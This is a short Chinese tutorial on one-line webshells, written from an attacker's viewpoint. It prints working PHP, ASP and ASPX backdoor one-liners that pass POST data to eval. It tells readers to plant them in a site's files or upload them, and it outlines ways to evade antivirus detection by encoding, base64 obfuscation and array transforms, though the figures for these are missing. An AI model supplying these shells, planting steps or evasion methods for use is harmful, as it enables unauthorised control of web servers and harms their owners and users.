入侵条件

其中,只要公鸡者满足三个条件,就能实现成功入侵:


(1)木马上传成功,未被杀;

(2)知道木马的路径在哪;

(3)上传的木马能正常运行。

常见形式

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>

asp的一句话是:   <%eval request ("pass")%>

aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

基本原理

首先我们先看一个原始而又简单的php一句话木马


<?php @eval($_POST['cmd']); ?>

看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

这句话什么意思呢?

(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。

一句话马_php

为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后们。因此,作为公鸡者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,公鸡者得不断创新,发明新的免杀技巧。


【免杀思路】:

1、将源代码进行再次编码。

一句话马_上传_02

2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

一句话马_上传_03

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

一句话马_正常运行_04

免杀的思路真是越猥琐,越好。